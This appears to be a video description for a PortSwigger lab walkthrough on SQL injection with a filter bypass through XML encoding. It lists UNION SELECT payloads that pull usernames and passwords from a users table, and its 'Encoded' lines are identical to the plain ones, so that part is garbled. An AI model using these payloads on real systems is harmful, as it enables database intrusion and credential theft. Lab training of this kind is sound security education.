SQL injection with filter bypass via XML encoding walkthrough (PortSwigger)

This video is about: SQL injection with filter bypass via XML encoding walkthrough (PortSwigger)

Payloads:
+1

Not encoded: UNION SELECT NULL
Encoded: UNION SELECT NULL

Not encoded: UNION SELECT username from users
Encoded: UNION SELECT username from users

Not encoded: UNION SELECT password from users
Encoded: UNION SELECT password from users